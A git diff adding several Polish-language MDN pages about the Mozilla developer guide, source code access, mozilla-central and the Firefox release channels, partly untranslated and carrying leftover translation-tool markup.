diff --git a/files/pl/mozilla/developer_guide/index.html b/files/pl/mozilla/developer_guide/index.html
new file mode 100644
index 0000000000..3a81193209
--- /dev/null
+++ b/files/pl/mozilla/developer_guide/index.html
@@ -0,0 +1,153 @@
+---
+title: Przewodnik Dewelopera
+slug: Mozilla/Developer_guide
+tags:
+ - Developing Mozilla
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Developer_guide
+---
+<p><span class="seoSummary">Istnieje wiele sposobów, na które możesz pomóc projektowi Mozilla: programowanie, testowanie, ulepszanie procesu kompilacji i narzędzi z nią powiązanych, lub pomoc w pisaniu dokumentacji. Ten przewodnik dostarcza poręcznych informacji, które pomogą zarówno nowym jak i doświadczonym osobom dołączyć do naszego grona, lub by zwyczajnie odświeżyć swoją wiedzę. </span></p>
+<div class="row topicpage-table">
+ <div class="section">
+ <h2 class="Documentation" id="Tematy_dokumentacji">Tematy dokumentacji</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Introduction" title="Introduction">Getting Started</a></dt>
+ <dd>
+ Poradnik dla początkujących, który krok po kroku wyjaśni w jaki sposób dołączyć do społeczności programistów Mozilli.</dd>
+ </dl>
+ <dl>
+ <dt>
+ <a class="internal" href="/en-US/docs/Developer_Guide/Source_Code" title="en-US/docs/Developer_Guide/Source_Code">Working with Mozilla Source Code</a></dt>
+ <dd>
+ Omówienie kodu, jak uzyskać kod oraz przewodnik po stylu programowania.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Developer_Guide/Build_Instructions" title="en-US/docs/Developer_Guide/Build_Instructions">Build Instructions</a></dt>
+ <dd>
+ Jak skompilować Firefoxa, Thunderbirda, SeaMonkey oraz inne aplikacje Mozilli.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Development_process_overview" title="en-US/docs/Developer Guide/Development process overview">Development process overview</a></dt>
+ <dd>
+ Kompletne omówienie procesu produkcji oprogramowania Mozilli.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Multiple_Firefox_Profiles" title="en-US/docs/Mozilla/Multiple_Firefox_Profiles">Managing multiple profiles</a></dt>
+ <dd>
+ Pracując z roboczymi wersjami Firefoxa często przydatne okazuje się posiadanie kilku, różnych profili, na przykład jeden profil na każdy kanał dystybucyjny, lub możesz ustalić różne profile dla różnych rodzajów testów.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Mozilla_automated_testing" title="en-US/docs/Mozilla automated testing">Automated Testing</a></dt>
+ <dd>
+ Jak uruchomić zautomatyzowane testy Mozilli oraz jak napisać swoje własne.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="en-US/docs/Getting your patch in the tree">How to submit a patch</a></dt>
+ <dd>
+ Po napisaniu łatki powinieneś wysłać swoje zmiany do drzewka. Ten artykuł opisuje proces oceny oraz co zrobić, aby łatka została oceniona pozytywnie.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Getting_documentation_updated" title="en-US/docs/Developer_Guide/Getting documentation updated">Getting documentation updated</a></dt>
+ <dd>
+ Jak upewnić się, że dokumentacja zostanie zaktualizowana po twoich zmianach w kodzie.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Mozilla_Modules_and_Module_Ownership" title="en-US/docs/Mozilla Modules and Module Ownership">Mozilla modules and module ownership</a></dt>
+ <dd>
+ Ten artykuł dostarcza informacji o modułach Mozilli, jaka jest rola opiekuna modułu oraz w jaki sposób opiekunowie modułów są wybierani.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Code_snippets" title="en-US/docs/Code_snippets">Code snippets</a></dt>
+ <dd>
+ Pomocne przykłady kodu dla wielu, różnych rzeczy, które mogą okazać się potrzebne.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Mozilla_Development_Strategies" title="en-US/docs/Mozilla Development Strategies">Mozilla development strategies</a></dt>
+ <dd>
+ Kilka wskazówek, które pomogą poprawić twoją produktywność podczas pracy dla Mozilli.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Debugging" title="en-US/docs/Debugging">Debugging</a></dt>
+ <dd>
+ Praktyczne porady o debugowaniu kodu Mozilli.</dd>
+ <dt>
+ <a href="/en-US/docs/Performance" title="en-US/docs/Performance">Performance</a></dt>
+ <dd>
+ Sugestie oraz narzędzia, które pomogą poprawić wydajność twojego kodu (oraz sprawią, że inni bardziej docenią twoją pracę).</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/The_Mozilla_platform" title="en-US/docs/The Mozilla platform">The Mozilla platform</a></dt>
+ <dd>
+ Omówienie metod funkcjonowania platformy Mozilla.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object" title="en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object">Adding APIs to the navigator object</a> {{ gecko_minversion_inline("9.0") }}</dt>
+ <dd>
+ Poszerzanie możliwości obiektu {{ domxref("window.navigator") }} poprzez dodatkowe API.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Interface_Compatibility" title="en-US/docs/Developer Guide/Interface Compatibility">Interface Compatibility</a></dt>
+ <dd>
+ Zalecenia dotyczące modyfikacji skryptowanych oraz binarnych API w Mozilli.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Customizing_Firefox" title="en-US/docs/Developer Guide/Customizing Firefox">Customizing Firefox</a></dt>
+ <dd>
+ Informacje odnośnie dostosowywania Firefoxa do swoich potrzeb.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Virtual_ARM_Linux_environment" title="Virtual ARM Linux environment">Virtual ARM Linux environment</a></dt>
+ <dd>
+ Jak skonfigurować emulator ARM oraz jak uruchomić na nim Linuxa, by przetestować kod specyficzny dla architektury ARM, choć niekoniecznie musi to być kod specyficzny dla tej platformy. Przydatne dla deweloperów aplikacji mobilnych.</dd>
+ <dt>
+ <a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="Obsolete Build Caveats and Tips">Obsolete Build Caveats and Tips</a></dt>
+ <dd>
+ Miejsce w którym można umieścić wskazówki dotyczące kompilacji, które nie są aktualne dla najnowszej wersji kodu, ale są przydatne przy kompilacji starszych wersji.</dd>
+ </dl>
+ </div>
+ <div class="section">
+ <h2 class="Tools" id="Narzędzia">Narzędzia</h2>
+ <dl>
+ <dt>
+ <a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/">Bugzilla</a></dt>
+ <dd>
+ <a class="internal" href="/en-US/docs/Bugzilla" title="en-US/docs/Bugzilla">Bugzilla</a> jest oprogramowaniem korzystającym z bazy danych, w której przechowuje się informacje o błędach w projektach Mozilli.</dd>
+ <dt>
+ <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dt>
+ <dd>
+ Przeglądanie i przeszukiwanie kodu źródłowego Mozilli w twojej przeglądarce.</dd>
+ <dt>
+ <a href="http://dxr.mozilla.org/">DXR</a></dt>
+ <dd>
+ Nowa generacja przeszukiwania kodu źródłowego Mozilli. W produkcji.</dd>
+ <dt>
+ <a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt>
+ <dd>
+ Narzędzie <a class="internal" href="/en-US/docs/Bonsai" title="en-US/docs/Bonsai">Bonsai</a> pozwala Ci dowiedzieć się kto, kiedy i gdzie dokonał zmian w repozytorium, a także jakie to były zmiany.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Mercurial" title="en-US/docs/Mercurial">Mercurial</a></dt>
+ <dd>
+ Rozproszony system kontroli wersji używany do zarządzania kodem źródłowym Mozilli.</dd>
+ <dt>
+ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Using_the_VM">Mozilla build VM</a></dt>
+ <dd>
+ Maszyna wirtualna kompatybilna z programem VirtualBox skonfigurowana z całością oprogramowania potrzebnego do kompilacji Firefoxa.</dd>
+ <dt>
+ <a class="external" href="https://tbpl.mozilla.org/" title="http://tinderbox.mozilla.org/showbuilds.cgi">TBPL (Tinderbox Push Log)</a></dt>
+ <dd>
+ <span class="internal">Tinderbox Push Log</span> shows the status of the tree (whether or not it currently builds successfully).  Check this before checking in and out, to be sure you're working with a working tree.</dd>
+ <dt>
+ <a class="internal" href="/en-US/docs/Crash_reporting" title="en-US/docs/Crash reporting">Crash tracking</a></dt>
+ <dd>
+ Information about the <a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a> crash reporting system.</dd>
+ <dt>
+ <span class="external">Performance tracking: <a href="https://datazilla.mozilla.org/">Datazilla</a> and <a href="http://graphs.mozilla.org/">Graphs</a></span></dt>
+ <dd>
+ See performance information for Mozilla projects.</dd>
+ <dt>
+ <a href="/en-US/docs/Developer_Guide/Callgraph" title="en-US/docs/Developing Mozilla/Callgraph">Callgraph</a></dt>
+ <dd>
+ A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.</dd>
+ <dt>
+ <a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html">Developer forums</a></dt>
+ <dd>
+ A topic-specific list of discussion forums where you can talk about Mozilla development issues.</dd>
+ <dt>
+ <a class="external" href="http://www.codefirefox.com/cheatsheet/" title="http://www.brianbondy.com/mozilla/cheatsheet/">Mozilla Platform Development Cheat Sheet</a></dt>
+ <dd>
+ Brian Bondy's list of frequently referenced information for platform developers.</dd>
+ <dt>
+ <a class="external" href="http://www.codefirefox.com/videos/" title="http://www.brianbondy.com/mozilla/cheatsheet/">Firefox development video tutorials</a></dt>
+ <dd>
+ Brian Bondy's video tutorials on Firefox development.</dd>
+ </dl>
+ </div>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/developer_guide/mozilla-central/index.html b/files/pl/mozilla/developer_guide/mozilla-central/index.html
new file mode 100644
index 0000000000..64fd1c8b0a
--- /dev/null
+++ b/files/pl/mozilla/developer_guide/mozilla-central/index.html
@@ -0,0 +1,15 @@
+---
+title: mozilla-central
+slug: Mozilla/Developer_guide/mozilla-central
+translation_of: Mozilla/Developer_guide/mozilla-central
+---
+<p><strong><code>mozilla-central</code></strong> is a <a href="/en/Mercurial" title="en/Mercurial">Mercurial</a> repository of the Mozilla code: <a class="external" href="https://hg.mozilla.org/mozilla-central" rel="freelink">https://hg.mozilla.org/mozilla-central</a> .</p>
+<h3 id="Pushing_changes_to_mozilla-central" name="Pushing_changes_to_mozilla-central">Pushing changes to mozilla-central</h3>
+<p>See <a href="/en/Mercurial_FAQ#How_do_I_check_stuff_in.3F" title="en/Mercurial_FAQ#How_do_I_check_stuff_in.3F">How do I check stuff in?</a> for help with hg commit and hg push. If you believe you should have access to mozilla-central but don't know your login details, <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org&amp;component=Server+Operations:+Account+Requests">file a bug</a>.</p>
+<p>Ensure your checkins follow the <a class="external" href="/En/Developer_Guide/Committing_Rules_and_Responsibilities" title="https://developer.mozilla.org/En/Developer_Guide/Committing_Rules_and_Responsibilities">general checkin rules</a>.  Occasionally, e.g. just before branch points, mozilla-central also has special <a class="external" href="http://wiki.mozilla.org/Tree_Rules" title="http://wiki.mozilla.org/Tree_Rules">tree rules</a>.  The <a href="/en/Tinderbox" title="en/Tinderbox">Tinderbox</a> page for mozilla-central is located at <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Firefox" rel="freelink">http://tinderbox.mozilla.org/showbui...i?tree=Firefox</a>.</p>
+<h3 id="See_also" name="See_also">See also</h3>
+<ul>
+ <li><a class="external" href="http://developer.mozilla.org/devnews/index.php/2008/06/02/mozilla-central-open-for-business/">mozilla-central: open for business</a> devnews post.</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/showdependencytree.cgi?id=433384&amp;hide_resolved=1">Tracking: issues making development difficult on mozilla-central</a></li>
+</ul>
+<p>{{ languages( { "ja": "ja/Mozilla-central", "es": "es/Mozilla-central" } ) }}</p>
diff --git a/files/pl/mozilla/developer_guide/source_code/index.html b/files/pl/mozilla/developer_guide/source_code/index.html
new file mode 100644
index 0000000000..24594b808b
--- /dev/null
+++ b/files/pl/mozilla/developer_guide/source_code/index.html
@@ -0,0 +1,49 @@
+---
+title: Pracowanie z kodem źródłowym Mozilli
+slug: Mozilla/Developer_guide/Source_Code
+tags:
+ - Developing Mozilla
+ - Firefox
+ - Intermediate
+ - Mozilla
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Developer_guide/Source_Code
+---
+<p>Artykuły poniżej pomogą Ci zaopatrzyć się w kod źródłowy Mozilli, nauczyć się jak efektywnie poruszać się w kodzie oraz jak sprawić aby twoje zmiany pojawiły się w drzewku.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a class="internal" href="/En/Developer_Guide/Source_Code/Mercurial" title="En/Mozilla Source Code (Mercurial)">Pobieranie kodu z reprozytorium Mercurial</a></dt>
+ <dd>Jeżeli planujesz wspierać projekt Mozilli, najlepszą metodą, aby zaopatrzyć się w kod jest pobranie go z repozytorium kontroli wersji. Tutaj możesz się dowiedzieć jak to zrobić.</dd>
+ <dt><a href="https://developer.mozilla.org/pl-PL/docs/Mozilla/Developer_guide/Using_the_VM">Uzyskanie wstępnie skonfigurowanej maszyny wirtualnej systemu budowania Mozilli</a></dt>
+ <dd>Jest to najłatwiejszy sposób na rozpoczęcie: użyj wirtualnej maszyny VirtualBox, która jest już skonfigurowana z pełnym środowiskiem kompilacji, którego możesz użyć. Po prostu uruchom maszynę wirtualną i buduj!</dd>
+ <dt><a class="internal" href="/En/Developer_Guide/Source_Code/Downloading_Source_Archives" title="En/Mozilla Source Code (HTTP//FTP)">Pobieranie kodu przy użyciu protokołu HTTP lub FTP</a></dt>
+ <dd>If you want to fetch the code for a specific release of a particular Mozilla product, you may prefer to download a source code archive.</dd>
+ <dt><a class="internal" href="/en/Viewing_and_searching_Mozilla_source_code_online" title="En/Viewing and searching Mozilla source code online">Przeglądanie i wyszukiwanie kodu źródłowego Mozilli online</a></dt>
+ <dd>Dowiedz się, jak używać MXR, narzędzia do wyszukiwania i przeglądania online w celu uzyskania dostępu do kodu Mozilli. Nie jest to dobry sposób na pobranie kodu, ale jest to świetny sposób na jego przeszukiwanie.</dd>
+ <dt><a class="internal" href="/en/Mozilla_Source_Code_Directory_Structure" title="en/Mozilla Source Code Directory Structure">Poruszanie się po kodzie źródłowym Mozilli</a></dt>
+ <dd>Dowiedz się o różnych folderach w drzewie źródłowym Mozilli i o tym, jak znaleźć to, co szukasz.</dd>
+ <dt><a class="external" href="/en/Introduction#Find_a_bug_we%27ve_identified_as_a_good_fit_for_new_contributors." title="/en/Introduction#Find_a_bug_we%27ve_identified_as_a_good_fit__for_new_contributors.">Bugs for newcomers</a></dt>
+ <dd>Jeśli jesteś nowy w projekcie i chcesz nad czymś popracować, zobacz tutaj.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a class="internal" href="/En/Developer_Guide/Coding_Style" title="En/Mozilla Coding Style Guide">Mozilla Coding Style Guide</a></dt>
+ <dd>The code style guide provides information about how you should format your source code to ensure that you don't get mocked by the reviewers.</dd>
+ <dt><a href="/En/Developer_Guide/Interface_development_guide" title="En/Developer Guide/Interface development guide">Interface development guide</a></dt>
+ <dd>Guidelines and documentation for how to create and update XPCOM interfaces.</dd>
+ <dt><a class="link-https" href="https://wiki.mozilla.org/Build:TryServer" title="https://wiki.mozilla.org/Build:TryServer">Wypróbuj serwery</a></dt>
+ <dd>Mozilla products build on at least three platforms. If you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass.</dd>
+ <dt><a class="internal" href="/en/Creating_a_patch" title="En/Creating a patch">Tworzenie poprawki</a></dt>
+ <dd>Once you've made a change to the Mozilla code, the next step (after making sure it works) is to create a patch and submit it for review. <em>This article needs to be updated fully for Mercurial.</em></dd>
+ <dt><a class="external" href="http://www.mozilla.org/hacking/committer/" title="http://www.mozilla.org/hacking/committer/">Getting commit access to the source code</a></dt>
+ <dd>Feel ready to join the few, the proud, the committers?  Find out how to get check-in access to the Mozilla code.</dd>
+ <dt><a class="internal" href="/En/Developer_Guide/Source_Code/CVS" title="En/Mozilla Source Code (CVS)">Pobieranie starszego kodu Mozilli z CVS</a></dt>
+ <dd>Older versions of the Mozilla source code, as well as the current versions of NSS and NSPR, are kept in a CVS repository.  Learn about that in this article.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/pl/mozilla/firefox/developer_edition/index.html b/files/pl/mozilla/firefox/developer_edition/index.html
new file mode 100644
index 0000000000..88fe0b5ce2
--- /dev/null
+++ b/files/pl/mozilla/firefox/developer_edition/index.html
@@ -0,0 +1,56 @@
+---
+title: dla deweloperów
+slug: Mozilla/Firefox/Developer_Edition
+tags:
+ - Firefox
+ - Początkujący
+translation_of: Mozilla/Firefox/Developer_Edition
+---
+<div>{{FirefoxSidebar}}</div><p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/9143/firefox-dev-ed_logo-only_1024.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 256px;"><span id="result_box" lang="pl"><span>Wersja Firefoksa, </span><span class="alt-edited">która jest</span> <span class="alt-edited hps">dostosowana dla</span> <span class="hps">programistów.</span></span></p>
+
+<p><a href=" https://www.mozilla.org/en-US/firefox/developer/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Pobierz Firefox Developer Edition</a></p>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h3 id="Najnowsze_funkcję_Firefox"><strong>Najnowsze funkcję Firefox</strong></h3>
+
+<p><span id="result_box" lang="pl"><span class="hps">Firefox</span> <span class="hps">Developer Edition</span> <span class="hps">zastępuje</span> <span class="hps">kanał</span> <span class="hps">Aurora</span> <span class="hps">w</span> <a href="https://wiki.mozilla.org/Release_Management/Release_Process">procesie wydania Firefoksa</a><span>.</span></span> <span id="result_box" lang="pl"><span class="hps">Funkcje </span><span class="hps">Aurora,</span> <span class="hps">będą lądować</span> <span class="hps">w</span> <span class="hps">Developer Edition</span> <span class="hps">co sześć tygodni</span><span>,</span> <span class="hps">po ich</span> <span class="hps">stabilizacji w</span> <span class="hps">Nightly</span> <span class="alt-edited hps">builds</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span class="hps">Korzystając z</span> <span class="hps">Developer Edition</span><span class="alt-edited">, możesz uzyskać</span> <span class="hps">dostęp do</span> <span class="hps">narzędzi i funkcji</span> <span class="hps">platformy</span> <span class="hps">co najmniej 12 tygodni</span><span>, zanim dotrą do</span> <span class="hps">głównego</span> <span class="hps">kanał wersji</span><span> Firefoksa.</span></span></p>
+
+<p><span class="short_text" id="result_box" lang="pl"><a href="/en-US/Firefox/Releases">Dowiedz się, co nowego w wersji Developer</a><span>.</span></span></p>
+</div>
+
+<div class="column-half">
+<h3 id="Odrębny_temat"><span id="result_box" lang="pl"><span>Odrębny</span> <span class="hps">temat</span></span></h3>
+
+<p><span id="result_box" lang="pl"><span class="alt-edited hps">Dotyczy to</span> <span class="alt-edited hps">szybszego dostępu</span> <span class="hps">do narzędzi</span> <span class="hps">deweloperskich</span><span>.</span></span></p>
+
+<h3 id="Eksperymentalne_narzędzia_programistyczne"><span class="short_text" id="result_box" lang="pl"><span class="hps">Eksperymentalne</span> <span class="hps">narzędzia programistyczne</span></span></h3>
+
+<p>Podłączyliśmy eksperymentalne narzędzia, które jeszcze nie są gotowe do najnowszego wydania.</p>
+
+<p><span lang="pl"><span class="hps">Na przykład</span><span>,</span> <span class="hps">Developer Edition</span> <span class="hps">obejmuje</span><span class="hps"> <a href="/en-US/docs/Tools/Valence">dodatek Valence</a></span><a href="/en-US/docs/Tools/Valence"> <span class="hps">Valence</span></a><span class="hps">,</span> <span class="hps">który umożliwia</span> <span class="hps">podłączenie</span> <a href="/en-US/docs/Tools">narzędzi dla programistów Firefoksa</a> <span class="hps">do innych</span> <span class="hps">przeglądarek takich jak</span> <span class="hps">Chrome</span> <span class="hps">na</span> <span class="hps">Androida</span>, <span class="hps">iOS</span> <span class="hps">i Safari</span><span>.</span></span></p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Oddzielne_profile"><span class="short_text" id="result_box" lang="pl"><span class="alt-edited hps">Oddzielne</span> <span class="alt-edited hps">profile</span></span></h3>
+
+<p><span id="result_box" lang="pl"><span class="hps">Firefox</span> <span class="hps">Developer Edition</span> <span class="hps">wykorzystuje</span> <span class="hps">oddzielny</span> <span class="hps">profil z</span> <span class="hps">innymi wersjami</span> <span class="hps">Firefoksa</span> <span class="hps">zainstalowanych</span> <span class="hps">na komputerze.</span> <span class="hps">Oznacza</span> <span class="hps">to, że można</span> <span class="hps">z łatwością</span> <span class="hps">uruchomić</span> <span class="hps">Developer Edition</span> <span class="hps">obok aktualnej wydanej wersji</span><span class="hps"> lub</span> <span class="hps">bety</span><span class="hps"> programu Firefox</span><span>.</span></span></p>
+
+<div class="note">
+<p><strong>Informacja:</strong> <span id="result_box" lang="pl"><span class="hps">Oznacza to, że</span> <span class="hps">po raz pierwszy</span> <span class="alt-edited hps">uruchamiając</span> <span class="hps">Developer Edition</span><span>,</span> <span class="alt-edited hps">zobaczysz</span> <span class="hps">zupełnie</span> <span class="alt-edited hps">niedostosowaną</span> <span class="hps">przeglądarkę</span><span>, bez</span> <span class="hps">dodatków,</span> <span class="hps">zakładek</span> <span class="hps">lub</span> <span class="hps">historii.</span> <span class="hps">Możesz <a href="https://support.mozilla.org/pl/kb/jak-skonfigurowac-firefox-sync">użyć Firefox Sync</a></span><span>, jeśli chcesz</span> <span class="alt-edited hps">ujednolicić</span> <span class="hps">swoje ustawienia</span> <span class="hps">pomiędzy</span> <span class="hps">Developer Edition</span> <span class="alt-edited hps">i innymi</span> <span class="alt-edited hps">wydaniami</span> <span class="hps">Firefoksa</span><span>.</span></span></p>
+</div>
+</div>
+
+<div class="column-half">
+<h3 id="Ustawienia_dla_web_developers"><strong>Ustawienia dla web developers</strong></h3>
+
+<p><span id="result_box" lang="pl"><span class="alt-edited">Ustawiliśmy domyślne wartości preferencji dostosowane dla programistów webowych.</span></span> <span id="result_box" lang="pl"><span class="hps">Na przykład</span><span>, {{glossary("chrome")}}</span> <span class="alt-edited hps">i zdalne</span> <span class="hps">debugowania</span> <span class="hps">są domyślnie włączone</span><span>.</span></span></p>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/pl/mozilla/firefox/index.html b/files/pl/mozilla/firefox/index.html
new file mode 100644
index 0000000000..e13ee005db
--- /dev/null
+++ b/files/pl/mozilla/firefox/index.html
@@ -0,0 +1,63 @@
+---
+title: Firefox
+slug: Mozilla/Firefox
+tags:
+ - Firefox
+ - Landing
+ - Mozilla
+ - PotrzebniTłumacze
+translation_of: Mozilla/Firefox
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p><a href="http://www.mozilla.org/pl-PL/firefox/">Firefox</a> to popularna przeglądarka internetowa od Mozilli, dostępna na wielu platformach, w tym Windows, OS X i Linux na pulpicie oraz na urządzeniach z Androidem. Dzięki kompatybilności, najnowszymi internetowymi technologiami i użytecznymi narzędziami deweloperów, Firefox jest świetnym wyborem zarówno dla deweloperów, jak i użytkowników końcowych.</p>
+
+<p>Firefox jest projektem typu "open-source"; większość kodu pisze nasza ogromna grupa ochotników. Tutaj dowiesz się, jak dołączyć się do projektu Firefox, oraz znajdziesz też odnośniki do informacji o budowie dodatków do Firefoxa, używając narzędzi deweloperów.</p>
+
+<div class="summary">
+<p>Dowiedz się, jak tworzyć dodatki do <a href="http://www.mozilla.org/pl-PL/firefox/">Firefoxa</a>, jak budować samego Firefoxa, oraz jak działają poszczególne jego części.</p>
+</div>
+
+<ul class="card-grid">
+ <li><span>Wydania deweloperskie</span>
+
+ <p><a href="https://developer.mozilla.org/pl-PL/Firefox/Releases">Informacje o wydaniach Deweloperskich</a>;<br>
+ Sprawdź jakie nowe możliwości stron internetowych i dodatków wprowadzają wydania Firefox.</p>
+ </li>
+ <li><span>Dokumentacja projektu</span>
+ <p>Sprawdź dokumentację <a href="https://developer.mozilla.org/pl-PL/docs/Mozilla">modułów Firefox</a> oraz sposobu ich budowania, dzięki czemu swobodnie będziesz poruszać się w kodzie.</p>
+ </li>
+ <li><span>Przewodnik</span>
+ <p><a href="https://developer.mozilla.org/pl-PL/docs/Developer_Guide">Przewodnik</a> zawiera informacje jak uzyskać i skompilować kod źródłowy Firefox, jak odnaleźć się w środowisku oraz jak wspierać projekt.</p>
+ </li>
+</ul>
+
+<h2 id="Wersje_Firefoxa">Wersje Firefoxa</h2>
+
+<p>Firefox jest dostępny w czterech <strong>wersjach</strong>.</p>
+
+<h3 id="Firefox_Nightly">Firefox Nightly</h3>
+
+<p>Każdej nocy tworzymy Firefoxa z najnowszego kodu w <a href="https://developer.mozilla.org/pl-PL/docs/mozilla-central">mozilla-central</a>. Wersje te są dla deweloperów Firefox lub dla tych którzy bardzo chcą wypróbować najnowsze funkcje cutting edge które są jeszcze pod aktywnym rozwojem.</p>
+
+<p><a href="https://nightly.mozilla.org/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Pobierz Firefox Nightly</a></p>
+
+<h3 id="Firefox_Developer_Edition">Firefox Developer Edition</h3>
+
+<p>To jest wersja Firefoxa dostosowana dla deweloperów. Co 6 tygodni, bierzemy funkcje z Firefox Nightly które są wystarczająco stabilne i tworzymy nową wersję Firefox Developer Edition. Dodajemy też kilka dodatkowych funkcji dla deweloperów, które są dostępne tylko w tej wersji.</p>
+
+<p><a href="https://developer.mozilla.org/pl-PL/Firefox/Developer_Edition">Przeczytaj więcej o Firefox Developer Edition</a>.</p>
+
+<p><a href="https://www.mozilla.org/pl-PL/firefox/developer/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Pobierz Firefox Developer Edition</a></p>
+
+<h3 id="Firefox_Beta">Firefox Beta</h3>
+
+<p>Po spędzeniu 6 tygodni w Firefox Developer Edition, bierzemy funkcje które są wystarczająco stabilne, i tworzymy nową wersje Firefox Beta. Firefox Beta jest dla<span id="ouHighlight__36_46TO27_36"> miłośnikó</span>w Firefoxa którzy chcą przetestować to co stanie się kolejną wersją Firefoxa.</p>
+
+<p><a href="https://www.mozilla.org/firefox/channel/#beta" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Pobierz Firefox Beta</a></p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Po ustabilizowaniu przez 6 tygodni wersji Beta, jesteśmy gotowi do udostępnienia <span id="ouHighlight__73_75TO83_88">nowych</span><span id="noHighlight_0.5749554231564667"> </span><span id="ouHighlight__77_84TO90_96">funkcji</span><span id="noHighlight_0.6805463947230384"> </span><span id="ouHighlight__86_87TO98_99">do</span><span id="noHighlight_0.10002622222823254"> </span><span id="ouHighlight__89_99TO101_105">setek</span><span id="noHighlight_0.3941979685757142"> </span><span id="ouHighlight__101_108TO107_114">milionów</span><span id="noHighlight_0.7649044926338088"> </span><span id="ouHighlight__113_117TO116_127">użytkowników</span><span id="noHighlight_0.4935145585685896"> </span><span id="ouHighlight__119_120TO129_129">w</span><span id="noHighlight_0.9197445137254194"> </span><span id="ouHighlight__124_126TO131_135">nowej</span><span id="noHighlight_0.3633325565512474"> </span><span id="ouHighlight__128_142TO137_142">wersji</span><span id="noHighlight_0.11467748695201785"> </span><span id="ouHighlight__147_153TO144_152">Firefoksa</span><span id="noHighlight_0.46928602517533247">.</span></p>
+
+<p><a href="https://www.mozilla.org/firefox/channel/#firefox" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Pobierz Firefox</a></p>
diff --git a/files/pl/mozilla/firefox/multiprocess_firefox/index.html b/files/pl/mozilla/firefox/multiprocess_firefox/index.html
new file mode 100644
index 0000000000..db6e8d0c3e
--- /dev/null
+++ b/files/pl/mozilla/firefox/multiprocess_firefox/index.html
@@ -0,0 +1,85 @@
+---
+title: Multiprocess Firefox
+slug: Mozilla/Firefox/Multiprocess_Firefox
+tags:
+ - Electrolysis
+ - Firefox
+ - Mozilla
+ - Multiprocess
+ - NeedsTranslation
+ - TopicStub
+ - e10s
+translation_of: Mozilla/Firefox/Multiprocess_Firefox
+---
